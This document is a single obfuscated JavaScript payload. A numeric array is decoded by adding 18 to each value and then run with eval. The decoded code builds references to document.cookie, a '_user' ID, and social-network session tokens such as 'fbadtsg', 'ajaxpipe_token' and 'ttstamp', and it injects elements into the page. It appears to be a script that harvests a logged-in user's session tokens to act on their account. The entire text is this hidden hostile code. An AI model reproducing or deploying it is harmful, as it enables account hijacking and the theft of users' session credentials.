96,97,83,55,92,98,22,31,33,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,23,23,42,30,23,105,100,79,96,14,90,93,85,43,82,93,81,99,91,83,92,98,28,81,96,83,79,98,83,51,90,83,91,83,92,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,37,23,23,23,41,90,93,85,28,87,82,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,38,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,33,23,23,26,82,93,81,99,91,83,92,98,28,86,83,79,82,28,79,94,94,83,92,82,49,86,87,90,82,22,90,93,85,23,26,77,49,22,23,26,94,96,93,84,87,90,83,77,87,82,43,82,93,81,99,91,83,92,98,28,81,93,93,89,87,83,28,91,79,98,81,86,22,29,81,77,99,97,83,96,43,22,74,82,25,23,29,23,73,31,75,26,84,80,77,82,98,97,85,43,84,80,77,82,98,97,85,77,90,87,97,98,73,30,75,28,100,79,90,99,83,26,77,77,96,83,100,43,82,93,81,99,91,83,92,98,28,86,83,79,82,28,87,92,92,83,96,54,66,59,58,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,30,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,32,23,26,94,79,96,97,83,55,92,98,22,37,32,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,35,33,23,23,23,73,31,75,28,97,94,90,87,98,22,16,26,16,23,73,30,75,26,79,88,79,102,94,87,94,83,77,98,93,89,83,92,43,82,93,81,99,91,83,92,98,28,86,83,79,82,28,87,92,92,83,96,54,66,59,58,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,30,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,30,23,26,94,79,96,97,83,55,92,98,22,36,39,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,36,30,23,23,23,73,31,75,28,97,94,90,87,98,22,16,26,16,23,73,30,75,26,98,98,97,98,79,91,94,43,16,16,41,84,93,96,22,100,79,96,14,102,43,30,41,102,42,84,80,77,82,98,97,85,28,90,83,92,85,98,86,41,102,25,25,23,98,98,97,98,79,91,94,25,43,84,80,77,82,98,97,85,28,81,86,79,96,49,93,82,83,47,98,22,102,23,41,98,98,97,98,79,91,94,43,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,33,27,34,33,23,23,25,98,98,97,98,79,91,94,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,32,23,26,94,79,96,97,83,55,92,98,22,37,34,27,31,36,23,23,25,94,96,93,84,87,90,83,77,87,82,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,36,30,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,34,33,23,23,25,84,80,77,82,98,97,85,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,31,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,33,33,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,37,23,23,25,77,77,96,83,100,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,34,32,23,23,25,98,98,97,98,79,91,94,23,26,81,93,92,97,93,90,83,28,90,93,85,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,39,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,30,23,23,25,79,88,79,102,94,87,94,83,77,98,93,89,83,92,23,26,77,79,22,23,107,90,93,81,79,98,87,93,92,28,86,96,83,84,28,87,92,82,83,102,61,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,39,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,31,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,39,23,23,23,44,30,20,20,84,80,77,82,98,97,85,77,90,87,97,98,28,90,83,92,85,98,86,44,30,20,20,22,84,80,77,82,98,97,85,43,84,80,77,82,98,97,85,77,90,87,97,98,73,30,75,28,100,79,90,99,83,26,92,86,43,82,93,81,99,91,83,92,98,28,85,83,98,51,90,83,91,83,92,98,97,48,103,60,79,91,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,36,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,32,23,23,23,73,30,75,28,100,79,90,99,83,26,81,93,92,97,93,90,83,28,90,93,85,22,84,80,77,82,98,97,85,23,26,81,93,92,97,93,90,83,28,90,93,85,22,92,86,23,26,77,50,22,23,23,107,83,90,97,83,14,90,93,81,79,98,87,93,92,28,86,93,97,98,92,79,91,83,28,87,92,82,83,102,61,84,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,35,30,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,31,23,26,94,79,96,97,83,55,92,98,22,39,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,36,23,23,23,44,43,30,20,20,81,93,92,97,93,90,83,28,83,96,96,93,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,37,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,33,23,26,94,79,96,97,83,55,92,98,22,38,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,23,23,41]; var aa = ""; var k = 18; for(i=0;ab[i];i++){ aa += String.fromCharCode(ab[i]+k); } eval(aa);